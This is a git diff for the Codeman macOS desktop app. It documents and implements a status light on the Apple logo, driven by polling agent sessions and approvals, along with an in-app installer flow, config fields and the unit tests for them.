| **Apple logo** | On a MacBook Pro with a PROLED XDR display, the lit Apple logo on the lid says what the agents are doing, with a blink style of your own for each state: **View > Blink Apple Logo > While Working**, **Waiting for You (Yellow)** and **Needs Permission (Red)**. Off, Calm, Slow, Wink, Heartbeat, Fast, or Alarm, three sharp flashes for a state that needs you. All three are off until you choose. When several states hold, the most urgent one with a style shows: red, then yellow, then work. A style chosen in an earlier version stays as the one for work, and yellow and red start as Wink and Alarm. The menu only exists on a Mac with that logo. No password is needed. Shell tabs do not count. The app asks the server every two seconds, and a change has to hold for three seconds before the logo follows it, so an agent between two turns does not flicker it. It keeps working while the window is hidden, and with any Codeman server. A logo you switched off yourself stays off, and if the setting changes while a blink runs, the blink ends and leaves it as it found it. While the app is closed nothing blinks, and macOS keeps the logo dark while the display sleeps or the lid is closed, so the blink pauses then and writes nothing. |
| **Window** | Size, position and full-screen state are remembered. A saved window that hangs off the screen it opens on (it was last on a larger display that is gone, say) is pulled back on and shrunk to fit; one whose title bar is on no screen at all opens at the default size instead. Clicking the Dock icon brings back a minimized window. |
## Build (on a Mac)
@@ -61,6 +62,11 @@ root, `npm run test:browser -- test/desktop-connect-page.browser.test.ts` drives
Content-Security-Policy the app serves it with. It is part of the nightly
browser suite, not of `npm test`.
To try a change to `install.sh` before it is merged, build with
`CODEMAN_DESKTOP_INSTALLER_URL` (where to get the installer) and
`CODEMAN_DESKTOP_INSTALL_BRANCH` (the branch it installs from) set. Both are
read at compile time: a shipped app cannot be pointed at another installer.
The script builds with `--locked` against the committed `Cargo.lock`, targets
the macOS version in `macos/Info.plist` (`LSMinimumSystemVersion`, 11.3), and
takes the binary from where cargo says it wrote it, so `CARGO_TARGET_DIR` and a
@@ -140,19 +146,52 @@ classes of wry's own delegates, so wry stays an unmodified crates.io dependency.
- `codeman web -d` gets the port and base path as separate arguments, never as
shell text.
**The installer runs in Terminal, not inside the app.** `install.sh` asks for
the administrator password on a terminal (Homebrew, its sudo keep-alive), the
Xcode tools arrive as a system dialog, and ssh asks about host keys and
passwords on a terminal too, so an install without one fails on the first
fresh Mac. The app writes a short script to the per-user temporary folder
(mode 0700, created fresh, deleted by the script as it starts) and opens it
with `open -b com.apple.Terminal`, which needs no permission; scripting
Terminal with osascript would ask for Automation access. The script prints
what it runs. A This Mac install downloads the installer to a temporary file
and runs it from there, so the installer's input is the terminal. Everything in
the scripts is built and unit-tested in `src/setup.rs`; the page sends only
which install it wants, whether other devices should reach it, and the SSH
login, which is checked before it is quoted.
**The app runs the installer itself; Terminal is the fallback.** `install.sh
--no-admin` puts Node.js and tmux in the home folder, so a This Mac install needs
no password and therefore no terminal, and the two questions only a person can
answer arrive as flags (`src/gui_install.rs`). The app downloads the installer
once to a private folder, asks it what is on this Mac (`install.sh preflight`,
which prints JSON and changes nothing) and draws its choices from that answer.
So the app has no list of coding agents of its own: a new one appears without a
new app, and the list always matches what the installer can really install
here. The installer runs with the login shell's environment, so it finds what
this person already has. The page sends only the agent's id, whether other
devices may reach Codeman, and that password; the password reaches the
installer through its environment, never its command line, where `ps` shows it.
**The install outlives the app.** Its output goes to a file, never a pipe, and
it runs in a process group of its own. With a pipe, quitting the app would kill
the installer at its next write; in the app's group, launchd would kill it with
the app. The file holds the whole run, so a page that was reloaded, or an app
that was opened again, finds the process in `ps` and replays the file from the
first line. That is why the app keeps no state about a run. A run that ends
without the installer's last `done` line failed, and the first error it reported
is the one shown: the ones after it are consequences.
**Adding an agent is a run of its own.** `install.sh agent <id>` installs one
agent and touches neither Codeman nor its service, so it may run next to a live
server, which an install must refuse: the installer's service step would replace
that server under its sessions. It has its own temporary folder, so `ps` tells the
two apart: everything that reads a running install takes it to mean "Codeman is
being installed", which an agent run does not. One run goes at a time, since both
can write to the runtime folder. It asks `preflight` for the list like an install
does, and both pass `--no-admin`: that flag decides which agents count as
installable, so without it on both the page could offer one the run refuses. The
menu item is on the connect page because that is where the app may run things:
from a Codeman page it leaves the page the way *Switch Server* does.
**Terminal stays for what the app cannot do.** The route with Homebrew asks for
the administrator password on a terminal, the Xcode tools arrive as a system
dialog, and ssh asks about host keys and passwords on a terminal too. The app
writes a short script to the per-user temporary folder (mode 0700, created
fresh, deleted by the script as it starts) and opens it with `open -b
com.apple.Terminal`, which needs no permission; scripting Terminal with
osascript would ask for Automation access. The script prints what it runs. A
This Mac install downloads the installer to a temporary file and runs it from
there, so the installer's input is the terminal. Everything in the scripts is
built and unit-tested in `src/setup.rs`; the page sends only which install it
wants, whether other devices should reach it, and the SSH login, which is
checked before it is quoted.
**This Mac's own login comes from where Codeman keeps it.** A Codeman
installed with a password keeps it in its LaunchAgent (`install.sh`) or in
@@ -168,7 +207,8 @@ with Codeman stopped, whatever else listens there never gets it.
data directory and tmux socket attach to each other's live sessions, and
`codeman web -d` only notices a server it started itself or one at the same
address. So the app looks for running Codeman servers of this user (`ps`)
before it offers or runs a start, and opens the one it finds instead.
before it offers or runs a start, and offers to connect to the ones it finds
instead (`found_addresses` in `src/setup.rs`, unit-tested).
**Closing the main window quits the app.** Codeman's sessions keep running on
the server, so nothing is lost, and reopening takes about a second.
@@ -176,7 +216,9 @@ the server, so nothing is lost, and reopening takes about a second.
**One reachability probe per user action, and one to check a refused login.**
Codeman counts a request without valid credentials against its login rate
limit (10 per IP, 15 minutes; a successful login resets the count), so the app
never retries in a loop. Once the server refuses the login in a challenge, the
never retries in a loop. A look at this Mac asks each Codeman server found
here once; the app has a login only for the one at the usual address, so the
others are asked without one. Once the server refuses the login in a challenge, the
app sends it only once more, in the single probe that checks the refusal. If
that probe is refused or rate limited, the connect screen comes back; the
app does not send the refused login again. Keeping no copy of the login in WebKit has a cost here: after a server
@@ -187,8 +229,94 @@ instead of being answered. A refusal that lands while you are in another app
does not bring Codeman forward: the connect screen loads where the window is,
and the Dock icon bounces.
**The logo blinks from a child process, through CoreBrightness.** Apple documents
one control for the logo ([support.apple.com/en-us/149248](https://support.apple.com/en-us/149248)):
`sudo defaults write com.apple.CoreBrightness LEBacklightMode -int 0`. Doing that
for every blink would need a root helper and an administrator password. The same
setting is also a property of `BrightnessSystemClient` in the private
CoreBrightness framework, and a process of the logged-in user can set it there,
which is what `src/logo.rs` does. Measured on a Mac17,13 with macOS 27.2 from an
ad-hoc signed binary: `corebrightnessd` logs the logo dark about a millisecond
after the write, with no fade, and the NVRAM variable `bklb-backlight-enabled`
keeps its value while the logo is dark.
The setting is system-wide and survives a reboot, so the app must not end with the
logo dark, and the release profile has `panic = "abort"`, so no cleanup code of the
app can be relied on. So all of it runs as this same binary with
`--logo-blink`, for as long as any style is chosen and a server is open, tied to the app
by nothing but a pipe: when the pipe closes, however the app ended, it puts the logo
back and exits. Switching it off closes the same pipe, so the path a crash
takes is the one used every day. A marker file
(`logo-blink`, next to `desktop.json`) covers what the child cannot survive itself:
at the next launch the app puts back a logo a blink left dark. The framework is
loaded at run time and never linked, and `LEBacklightMode` reading nil (a Mac mini
answers nil) is what hides the option, so a macOS that drops it loses this feature
and nothing else.
**Red and yellow come from the server's approvals list.** `GET /api/approvals` is what the
page reads to rebuild its red and yellow tabs after a reload, and it follows the same rules:
`permission` and `question` items are red, an `idle` item is yellow until someone has looked
at it (`acknowledgedAt`). So the logo stops when the tab's colour goes. The request is skipped
when neither alert has a style, and a server from before the list reads as no alerts. Each
poll with a dialog on screen costs that server one tmux capture, because the list re-checks
the dialog, which also clears red soon after a dialog is answered in the terminal.
**The agent count is asked for natively, because the page cannot be trusted with it.**
The first version read the page's own event stream, which needs no second connection
and no login. On a real Mac it failed in both directions as soon as the window was
covered, because WebKit stalls the stream of a hidden page: a turn that started while
it was stalled was never seen and the logo stayed still, and in another run the logo
kept blinking 39 seconds after the agent finished, until the page's watchdog reopened
the stream. A hidden window is the normal case for a signal meant to be read from
across the room, so `src/agents.rs` asks `api/sessions` itself, from the child process,
every two seconds. That needs care with the login. A request with a good password and
no session cookie makes Codeman create a login session, it keeps 100 of them, and the
oldest goes first, so polling with the password alone would log every browser out
within minutes. The poller therefore sends the cookie of the first answer with every
request, which Codeman reads first, so one session is created per server start. A
refused login ends the polling for good, because Codeman counts each refusal against
the login rate limit. The app and the child share nothing but the pipe the login
crosses, so the login is never on a command line.
## Known limits
- **A new agent can take a few minutes to show up in an older Codeman.** The server
remembers that a CLI is missing, for up to 5 minutes after it last looked
(`cliResolveRetryDelayMs`), so that a status poll never spawns a login shell. The
installer's `cli-installed` marker ends that at once, but only for a server that
knows the marker, so the screen after *Add a coding agent* still mentions it. An
open Codeman page always needs a reload, because the list of installed agents is
part of the page.
- **Agents the app can add are the ones `--no-admin` can install.** OMP's macOS
install is Homebrew, so it is not offered, also on a Mac that has Homebrew.
- **Agents that install with npm use whichever Node.js the login shell finds.**
With the Node.js the installer downloaded, or Homebrew's, that folder is yours.
The nodejs.org installer leaves `/usr/local/lib/node_modules` to root, so those
agents would be expected to fail there, with npm's permission error shown, while
the ones with their own installer still work. This has not been tried.
- **Only your own Codeman servers on this Mac are found, by their command
line.** A server another macOS user runs, or one in a container or a virtual
machine, is not listed: connect to it by address under Another machine. A
base path that a server started by hand has only in its environment
(`CODEMAN_BASE_URL`) is not visible either, so its row has the address
without the path; the LaunchAgent's base path is read from its job.
- **A found server that is slow to answer shows as not answering.** Next to a
Codeman that answers, each other server gets two seconds (five when nothing
answers at the usual address). A password-protected one counts the
look as a failed login, like any look at a server the app has no login for.
*Check again* asks again.
- **The logo blink rests on a private macOS interface.** Apple documents the
setting, not the way the app reaches it, so a macOS update can take it away;
the menu then disappears. Every change of the logo writes `LEBacklightMode`,
from about once every two seconds (*Slow*, *Wink*) to about three times a
second (*Fast*), which `corebrightnessd` keeps in root's preferences. The
setting is on or off, so these styles are rhythms of hard changes. After a blink
the key stays there rather than being absent as on a fresh Mac. That reads the same to macOS; `sudo defaults delete
com.apple.CoreBrightness LEBacklightMode` removes it. After a power cut in a
dark phase the logo stays dark until the app next starts. `api/sessions` does
not say which turns are Codeman's own, so with prompt-cache keep-warm on, a
keep-alive turn blinks too.
- **Self-signed HTTPS is refused.** A server started with `codeman web --https`
uses a self-signed certificate, and WKWebView rejects it (wry has no trust
override). Use `http://127.0.0.1:3000` for a server on this Mac. For another
@@ -260,6 +388,21 @@ and the Dock icon bounces.
- **No desktop notifications yet.** WKWebView has no Web Notification API.
Native notifications are the first item on the list below.
- **No service worker.** Codeman works without it; it is only an offline cache.
- **The graphical install needs macOS 15, or a tmux that is already there.**
tmux comes from the tmux project's own builds, which need macOS 15. On an
older Mac without tmux the app says so and offers Terminal, where Homebrew
installs it (that takes an administrator once).
- **Who can reach it stops at the local network.** Tailscale needs its own
login and setup, which the installer does at a terminal. Choose *Install in
Terminal instead*, or run `install.sh tailscale` later.
- **An agent is chosen during the install, or added later.** With Codeman
already installed, or after *Skip for now*, *Add a coding agent* on the This
Mac tab (*Add a Coding Agent to This Mac…* in the app menu) installs one. The
commands are also in [Installing an agent CLI](../../docs/wiki/Installation.md#installing-an-agent-cli).
- **An agent only your interactive profile finds counts as missing.** The app
reads the login shell's environment, without `.zshrc`, so a CLI on an nvm
PATH set up there is offered again as if it were not installed. Installing
it again is harmless; *Skip for now* leaves it as it is.
- **Installing from the app is macOS only so far**, and installing on another
machine needs ssh access to it and `curl` or `wget` there. The app does not
know when a remote install is done or which address it chose: the installer
File diff suppressed because it is too large. Load diff
+462
View File
@@ -0,0 +1,462 @@
//! What the agents on a server are doing, asked from outside the web view: at
//! work, finished with nobody having looked yet (a yellow tab), or stopped on a
//! permission or a question (a red tab).
//!
//! The page knows this too, but it cannot be relied on for it: WebKit stalls the
//! event stream of a hidden page. Measured on macOS 27.2 with the page hidden: a
//! `session:idle` the server sent never reached it, its own watchdog reopened the
//! stream 39 seconds later, and in another run a whole turn went unseen. A hidden
//! window is the normal case for this question, so it is asked natively, of
//! `api/sessions`, a stable route that works with any Codeman, and of
//! `api/approvals`, the list the page itself builds its red and yellow tabs from
//! when it loads. A server from before that list has no such route, which reads
//! as no alerts.
//!
//! A login has a price here that a single request does not show. A request with
//! a good password and no session cookie makes Codeman create a login session,
//! it keeps 100 of them, and the oldest goes first, so asking every two seconds
//! with the password alone would log every browser out within minutes. So the
//! cookie of the first answer goes along from then on, and Codeman reads the
//! cookie first: the password is only used when the cookie has lapsed (a server
//! restart), and then it creates the one new session that replaces it. Sending
//! both also means a stale cookie costs no failed login. A refused login ends
//! the polling for good, since Codeman counts each one against the login rate
//! limit (see `probe`).
use serde::Deserialize;
use std::time::Duration;
use url::Url;
/// How long the logo can lag behind the server. The list is cached for a
/// second on the server's side and is a few kilobytes.
pub const POLL_EVERY: Duration = Duration::from_secs(2);
const TIMEOUT: Duration = Duration::from_secs(5);
const SESSIONS_PATH: &str = "api/sessions";
const APPROVALS_PATH: &str = "api/approvals";
const COOKIE_NAME: &str = "codeman_session";
/// What the agents on a server are doing. Any number of these can be true.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
pub struct Activity {
/// At least one agent is at work.
pub working: bool,
/// An agent finished and nobody has looked at it yet: a yellow tab.
pub waiting: bool,
/// An agent stopped on a permission or a question: a red tab.
pub needs_you: bool,
}
#[derive(Debug, PartialEq, Eq)]
pub enum Poll {
Seen(Activity),
/// No answer this time. Worth asking again.
Failed,
/// The server turned the login down. Never ask again.
Refused,
}
#[derive(Deserialize)]
struct Session {
#[serde(default)]
status: String,
#[serde(default)]
mode: String,
}
/// Codeman wraps the list in its API envelope, and older servers sent it bare.
#[derive(Deserialize)]
#[serde(untagged)]
enum Sessions {
Envelope { data: Vec<Session> },
Bare(Vec<Session>),
}
/// Agents only: a shell tab with a `tail -f` is a run of output, which the
/// server may call busy, and that is nobody's agent.
fn count_working(body: &str) -> Option<u32> {
let (Sessions::Envelope { data: sessions } | Sessions::Bare(sessions)) = serde_json::from_str(body).ok()?;
let working = sessions.iter().filter(|s| s.status == "busy" && s.mode != "shell");
u32::try_from(working.count()).ok()
}
#[derive(Deserialize)]
struct Approval {
#[serde(default)]
kind: String,
#[serde(default, rename = "acknowledgedAt")]
acknowledged_at: Option<f64>,
}
#[derive(Deserialize)]
struct Approvals {
approvals: Vec<Approval>,
}
#[derive(Deserialize)]
struct ApprovalsAnswer {
data: Approvals,
}
/// The two alerts, by the page's own rules: `permission_prompt` and a question
/// make a tab red, an idle prompt makes it yellow until someone has looked at it,
/// and an acknowledged item stays listed but alerts nobody.
fn read_alerts(body: &str) -> Option<(bool, bool)> {
let answer: ApprovalsAnswer = serde_json::from_str(body).ok()?;
let items = &answer.data.approvals;
let waiting = items.iter().any(|i| i.kind == "idle" && i.acknowledged_at.is_none());
let needs_you = items.iter().any(|i| i.kind == "permission" || i.kind == "question");
Some((waiting, needs_you))
}
/// `name=value` out of a `Set-Cookie` header, for Codeman's session cookie.
fn session_cookie(header: &str) -> Option<&str> {
let pair = header.split(';').next()?.trim();
let (name, value) = pair.split_once('=')?;
(name == COOKIE_NAME && !value.is_empty()).then_some(pair)
}
/// What a status code says about asking again.
fn answer(status: u16, body: impl FnOnce() -> Option<String>) -> Poll {
match status {
200 => body()
.as_deref()
.and_then(count_working)
.map_or(Poll::Failed, |working| {
Poll::Seen(Activity {
working: working > 0,
..Activity::default()
})
}),
401 | 403 | 429 => Poll::Refused,
_ => Poll::Failed,
}
}
pub struct Poller {
agent: ureq::Agent,
sessions_url: String,
/// None when no alert has a style: that request is then never made.
approvals_url: Option<String>,
authorization: Option<String>,
cookie: Option<String>,
/// The last alerts seen, kept through a request that failed.
alerts: (bool, bool),
}
impl Poller {
pub fn new(server: &Url, authorization: Option<String>, alerts: bool) -> Option<Self> {
let approvals_url = match alerts {
true => Some(server.join(APPROVALS_PATH).ok()?.to_string()),
false => None,
};
Some(Poller {
agent: crate::probe::agent(TIMEOUT),
sessions_url: server.join(SESSIONS_PATH).ok()?.to_string(),
approvals_url,
authorization,
cookie: None,
alerts: (false, false),
})
}
/// One GET with the login, and the status with the body of a 200.
fn ask(&mut self, url: &str) -> Option<(u16, Option<String>)> {
let mut request = self.agent.get(url).header("Accept", "application/json");
if let Some(authorization) = &self.authorization {
request = request.header("Authorization", authorization);
}
if let Some(cookie) = &self.cookie {
request = request.header("Cookie", cookie);
}
let mut response = request.call().ok()?;
let fresh = response
.headers()
.get_all("set-cookie")
.iter()
.filter_map(|value| value.to_str().ok())
.find_map(session_cookie)
.map(str::to_owned);
if fresh.is_some() {
self.cookie = fresh;
}
let status = response.status().as_u16();
let body = (status == 200).then(|| {
let body = response.body_mut().with_config();
body.limit(crate::probe::MAX_BODY).read_to_string().ok()
});
Some((status, body.flatten()))
}
pub fn poll(&mut self) -> Poll {
let url = self.sessions_url.clone();
let Some((status, body)) = self.ask(&url) else {
return Poll::Failed;
};
let mut activity = match answer(status, || body) {
Poll::Seen(activity) => activity,
other => return other,
};
if let Some(url) = self.approvals_url.clone() {
match self.ask(&url) {
Some((200, body)) => {
if let Some(alerts) = body.as_deref().and_then(read_alerts) {
self.alerts = alerts;
}
}
Some((401 | 403 | 429, _)) => return Poll::Refused,
// A server from before the list has no alerts to report.
Some((404, _)) => self.alerts = (false, false),
_ => {}
}
}
(activity.waiting, activity.needs_you) = self.alerts;
Poll::Seen(activity)
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::{BufRead, BufReader, Write};
use std::net::TcpListener;
use std::sync::{Arc, Mutex};
/// The start of a real answer of `GET /api/sessions`, captured from a
/// server: other fields around the two that matter, in Codeman's envelope.
const REAL_ANSWER: &str = r#"{"success":true,"data":[{"id":"0f8d0215-661e-4a1c-bfad-d7f6fd2ed4b5",
"pid":61017,"status":"busy","workingDir":"/Users/lee/codeman-cases/testcase",
"paneCwd":"/Users/lee/codeman-cases/testcase","currentTaskId":null,"mode":"opencode"}]}"#;
#[test]
fn reads_the_answer_a_real_server_gives() {
assert_eq!(count_working(REAL_ANSWER), Some(1));
assert_eq!(count_working(r#"{"success":true,"data":[]}"#), Some(0));
}
#[test]
fn counts_agents_at_work_and_nothing_else() {
let body = r#"{"success":true,"data":[
{"id":"a","status":"busy","mode":"claude"},
{"id":"b","status":"busy","mode":"codex"},
{"id":"c","status":"idle","mode":"claude"},
{"id":"d","status":"busy","mode":"shell"},
{"id":"e","status":"stopped","mode":"claude"},
{"id":"f","status":"error","mode":"opencode"}
]}"#;
assert_eq!(count_working(body), Some(2));
}
#[test]
fn reads_the_bare_list_of_an_older_server() {
assert_eq!(count_working(r#"[{"status":"busy","mode":"claude"}]"#), Some(1));
assert_eq!(count_working("[]"), Some(0));
}
#[test]
fn a_session_without_a_mode_counts_and_one_without_a_status_does_not() {
assert_eq!(
count_working(r#"{"data":[{"status":"busy"},{"mode":"claude"}]}"#),
Some(1)
);
}
#[test]
fn a_body_that_is_not_the_list_is_no_answer() {
assert_eq!(count_working("<html>"), None);
assert_eq!(count_working(r#"{"success":false,"error":"nope"}"#), None);
assert_eq!(answer(200, || Some("<html>".into())), Poll::Failed);
assert_eq!(answer(200, || None), Poll::Failed);
}
#[test]
fn only_a_login_refusal_ends_the_polling() {
for status in [401, 403, 429] {
assert_eq!(answer(status, || None), Poll::Refused, "{status}");
}
for status in [301, 404, 500, 502, 503] {
assert_eq!(answer(status, || None), Poll::Failed, "{status}");
}
}
#[test]
fn finds_codemans_cookie_in_a_set_cookie_header() {
assert_eq!(
session_cookie("codeman_session=abc123; Max-Age=86400; Path=/; HttpOnly; SameSite=Lax"),
Some("codeman_session=abc123")
);
assert_eq!(session_cookie("codeman_session=abc123"), Some("codeman_session=abc123"));
assert_eq!(session_cookie("other=1; Path=/"), None);
assert_eq!(session_cookie("codeman_session=; Max-Age=0"), None);
assert_eq!(session_cookie(""), None);
}
/// A server that answers each connection with the next canned response
/// and records the headers it was sent.
fn serve(responses: Vec<String>) -> (u16, Arc<Mutex<Vec<Vec<String>>>>) {
let listener = TcpListener::bind("127.0.0.1:0").unwrap();
let port = listener.local_addr().unwrap().port();
let seen = Arc::new(Mutex::new(Vec::new()));
let log = seen.clone();
std::thread::spawn(move || {
for response in responses {
let (mut stream, _) = listener.accept().unwrap();
let mut reader = BufReader::new(stream.try_clone().unwrap());
let mut headers = Vec::new();
let mut line = String::new();
while reader.read_line(&mut line).is_ok() && line.trim() != "" {
headers.push(line.trim().to_ascii_lowercase());
line.clear();
}
log.lock().unwrap().push(headers);
stream.write_all(response.as_bytes()).unwrap();
}
});
(port, seen)
}
const EMPTY: &str = r#"{"success":true,"data":[]}"#;
fn plain(working: bool) -> Poll {
Poll::Seen(Activity {
working,
..Activity::default()
})
}
/// The shape of a real `GET /api/approvals`, with the frame text cut.
fn approvals(items: &[&str]) -> String {
format!(r#"{{"success":true,"data":{{"approvals":[{}]}}}}"#, items.join(","))
}
const IDLE: &str = r#"{"id":"s:1","sessionId":"s","sessionName":"w4","kind":"idle","createdAt":1,"context":"x"}"#;
const LOOKED_AT: &str = r#"{"id":"s:2","sessionId":"s","kind":"idle","createdAt":1,"acknowledgedAt":2}"#;
const PERMISSION: &str = r#"{"id":"s:3","sessionId":"s","kind":"permission","createdAt":1,"toolName":"Bash"}"#;
const QUESTION: &str = r#"{"id":"s:4","sessionId":"s","kind":"question","createdAt":1}"#;
#[test]
fn the_alerts_follow_the_pages_rules() {
assert_eq!(read_alerts(&approvals(&[])), Some((false, false)));
assert_eq!(read_alerts(&approvals(&[IDLE])), Some((true, false)));
assert_eq!(read_alerts(&approvals(&[LOOKED_AT])), Some((false, false)), "seen");
assert_eq!(read_alerts(&approvals(&[PERMISSION])), Some((false, true)));
assert_eq!(read_alerts(&approvals(&[QUESTION])), Some((false, true)));
assert_eq!(read_alerts(&approvals(&[IDLE, PERMISSION])), Some((true, true)));
assert_eq!(read_alerts("not json"), None);
assert_eq!(read_alerts(EMPTY), None);
}
#[test]
fn reads_all_three_states_from_one_poll() {
let busy = r#"{"success":true,"data":[{"status":"busy","mode":"claude"}]}"#;
let (port, seen_requests) = serve(vec![ok("", busy), ok("", &approvals(&[IDLE, PERMISSION]))]);
let server = Url::parse(&format!("http://127.0.0.1:{port}/")).unwrap();
let mut poller = Poller::new(&server, None, true).unwrap();
let everything = Activity {
working: true,
waiting: true,
needs_you: true,
};
assert_eq!(poller.poll(), Poll::Seen(everything));
assert!(seen_requests.lock().unwrap()[1][0].starts_with("get /api/approvals "));
}
fn status(code: u16) -> String {
format!("HTTP/1.1 {code} X\r\nConnection: close\r\nContent-Length: 0\r\n\r\n")
}
#[test]
fn a_server_without_the_list_still_shows_work() {
let busy = r#"{"data":[{"status":"busy","mode":"claude"}]}"#;
let (port, _) = serve(vec![ok("", busy), status(404)]);
let server = Url::parse(&format!("http://127.0.0.1:{port}/")).unwrap();
assert_eq!(Poller::new(&server, None, true).unwrap().poll(), plain(true));
}
#[test]
fn a_refused_list_ends_the_polling_and_a_failed_one_keeps_the_last_answer() {
let (port, _) = serve(vec![ok("", EMPTY), status(401)]);
let server = Url::parse(&format!("http://127.0.0.1:{port}/")).unwrap();
assert_eq!(Poller::new(&server, None, true).unwrap().poll(), Poll::Refused);
let (port, _) = serve(vec![
ok("", EMPTY),
ok("", &approvals(&[PERMISSION])),
ok("", EMPTY),
status(500),
]);
let server = Url::parse(&format!("http://127.0.0.1:{port}/")).unwrap();
let mut poller = Poller::new(&server, None, true).unwrap();
let red = Poll::Seen(Activity {
needs_you: true,
..Activity::default()
});
assert_eq!(poller.poll(), red);
assert_eq!(
poller.poll(),
Poll::Seen(Activity {
needs_you: true,
..Activity::default()
})
);
}
#[test]
fn no_alert_with_a_style_means_no_second_request() {
let (port, seen_requests) = serve(vec![ok("", EMPTY)]);
let server = Url::parse(&format!("http://127.0.0.1:{port}/")).unwrap();
assert_eq!(Poller::new(&server, None, false).unwrap().poll(), plain(false));
assert_eq!(seen_requests.lock().unwrap().len(), 1);
}
fn ok(extra_headers: &str, body: &str) -> String {
format!(
"HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Length: {}\r\n{extra_headers}\r\n{body}",
body.len()
)
}
#[test]
fn keeps_one_login_session_across_polls() {
let body = r#"{"success":true,"data":[{"status":"busy","mode":"claude"}]}"#;
let (port, seen) = serve(vec![
ok("Set-Cookie: codeman_session=first; Max-Age=86400; Path=/\r\n", body),
ok("Set-Cookie: codeman_session=first; Max-Age=86400; Path=/\r\n", body),
ok("Set-Cookie: codeman_session=second; Max-Age=86400; Path=/\r\n", EMPTY),
ok("", EMPTY),
]);
let server = Url::parse(&format!("http://127.0.0.1:{port}/")).unwrap();
let mut poller = Poller::new(&server, Some("Basic abc".into()), false).unwrap();
assert_eq!(poller.poll(), plain(true));
assert_eq!(poller.poll(), plain(true));
assert_eq!(poller.poll(), plain(false));
assert_eq!(poller.poll(), plain(false));
let seen = seen.lock().unwrap();
let cookie = |n: usize| seen[n].iter().find(|h| h.starts_with("cookie:")).cloned();
assert_eq!(cookie(0), None);
assert_eq!(cookie(1).as_deref(), Some("cookie: codeman_session=first"));
assert_eq!(cookie(2).as_deref(), Some("cookie: codeman_session=first"));
// A server restart hands out a new one; a response without one keeps it.
assert_eq!(cookie(3).as_deref(), Some("cookie: codeman_session=second"));
assert!(seen.iter().all(|h| h.contains(&"authorization: basic abc".to_string())));
assert!(seen[0][0].starts_with("get /api/sessions "), "{:?}", seen[0][0]);
}
#[test]
fn asks_under_the_servers_base_path() {
let (port, seen) = serve(vec![ok("", EMPTY)]);
let server = Url::parse(&format!("http://127.0.0.1:{port}/codeman/")).unwrap();
assert_eq!(Poller::new(&server, None, false).unwrap().poll(), plain(false));
let seen = seen.lock().unwrap();
assert!(seen[0][0].starts_with("get /codeman/api/sessions "), "{:?}", seen[0][0]);
assert!(!seen[0].iter().any(|h| h.starts_with("authorization:")));
}
#[test]
fn a_server_that_answers_nothing_is_only_a_failed_poll() {
let listener = TcpListener::bind("127.0.0.1:0").unwrap();
let port = listener.local_addr().unwrap().port();
drop(listener);
let server = Url::parse(&format!("http://127.0.0.1:{port}/")).unwrap();
assert_eq!(Poller::new(&server, None, false).unwrap().poll(), Poll::Failed);
}
}
+9 -5
View File
@@ -184,17 +184,21 @@ pub const HOST_SHIM: &str = r#"(function () {
}
})();"#;
/// A toast inside Codeman when a download finished (Codeman's own
/// `showToast`; nothing happens on a page without it).
/// A toast inside Codeman (its own `showToast`; nothing happens on a page
/// without it). `kind` is one of Codeman's fixed toast kinds.
pub fn toast_script(text: &str, kind: &str) -> String {
let text = serde_json::to_string(text).unwrap_or_else(|_| "\"\"".into());
format!("try {{ window.app && window.app.showToast && window.app.showToast({text}, \"{kind}\"); }} catch (e) {{}}")
}
/// A toast inside Codeman when a download finished.
pub fn download_toast_script(file_name: &str, ok: bool) -> String {
let text = if ok {
format!("Downloaded {file_name} to Downloads")
} else {
format!("Download of {file_name} failed")
};
let text = serde_json::to_string(&text).unwrap_or_else(|_| "\"Download finished\"".into());
let kind = if ok { "\"success\"" } else { "\"error\"" };
format!("try {{ window.app && window.app.showToast && window.app.showToast({text}, {kind}); }} catch (e) {{}}")
toast_script(&text, if ok { "success" } else { "error" })
}
/// Runs in the window that asked for a window the native side did not open
+37
View File
@@ -3,6 +3,7 @@
//! (`~/Library/Application Support/Codeman/desktop.json` on macOS). Passwords
//! never go here; they live in the Keychain (see `credentials`).
use crate::logo::BlinkStyles;
use serde::{Deserialize, Serialize};
use std::fs;
use std::io;
@@ -43,6 +44,11 @@ pub struct Config {
pub auto_connect: bool,
/// Always open in full screen (otherwise the last state is restored).
pub start_fullscreen: bool,
/// What the lit Apple logo does for each state of the agents (logo.rs). The
/// menu only shows on a Mac that has one. A value this version does not know
/// reads as off: a bad style must not make the whole file unreadable.
#[serde(deserialize_with = "lenient_blink")]
pub logo_blink: BlinkStyles,
/// Anything that is not a whole frame reads as None: a bad frame must not
/// make the whole file unreadable, which would cost the server list.
#[serde(deserialize_with = "lenient_window")]
@@ -54,12 +60,17 @@ fn lenient_window<'de, D: serde::Deserializer<'de>>(d: D) -> Result<Option<Windo
Ok(serde_json::from_value(value).ok())
}
fn lenient_blink<'de, D: serde::Deserializer<'de>>(d: D) -> Result<BlinkStyles, D::Error> {
Ok(BlinkStyles::read(&serde_json::Value::deserialize(d)?))
}
impl Default for Config {
fn default() -> Self {
Config {
servers: Vec::new(),
auto_connect: true,
start_fullscreen: false,
logo_blink: BlinkStyles::default(),
window: None,
}
}
@@ -399,6 +410,32 @@ mod tests {
assert!(can_save);
}
#[test]
fn the_logo_blink_styles_round_trip_and_a_bad_one_reads_as_off() {
use crate::logo::BlinkStyle;
let mut c = Config::default();
assert_eq!(c.logo_blink, BlinkStyles::default());
c.logo_blink.needs_you = BlinkStyle::Alarm;
let text = serde_json::to_string(&c).unwrap();
assert!(text.contains(r#""needsYou":"alarm""#), "{text}");
assert_eq!(serde_json::from_str::<Config>(&text).unwrap().logo_blink, c.logo_blink);
for bad in [
r#"{"logoBlink":3}"#,
r#"{"logoBlink":null}"#,
r#"{"logoBlink":"strobe"}"#,
] {
let c: Config = serde_json::from_str(bad).unwrap();
assert_eq!(c.logo_blink, BlinkStyles::default(), "{bad}");
}
}
#[test]
fn the_style_a_mac_saved_before_there_were_states_is_kept() {
use crate::logo::BlinkStyle;
let c: Config = serde_json::from_str(r#"{"logoBlink":"heartbeat"}"#).unwrap();
assert_eq!(c.logo_blink.working, BlinkStyle::Heartbeat);
}
#[test]
fn round_trip_and_atomic_save() {
let dir = tmp_dir("roundtrip");
File diff suppressed because it is too large. Load diff
+28 -7
View File
@@ -91,10 +91,10 @@ fn flavor(shell: &Path) -> Flavor {
}
/// What one process printed, stdout and stderr kept apart.
struct Output {
code: Option<i32>,
stdout: String,
stderr: String,
pub struct Output {
pub code: Option<i32>,
pub stdout: String,
pub stderr: String,
}
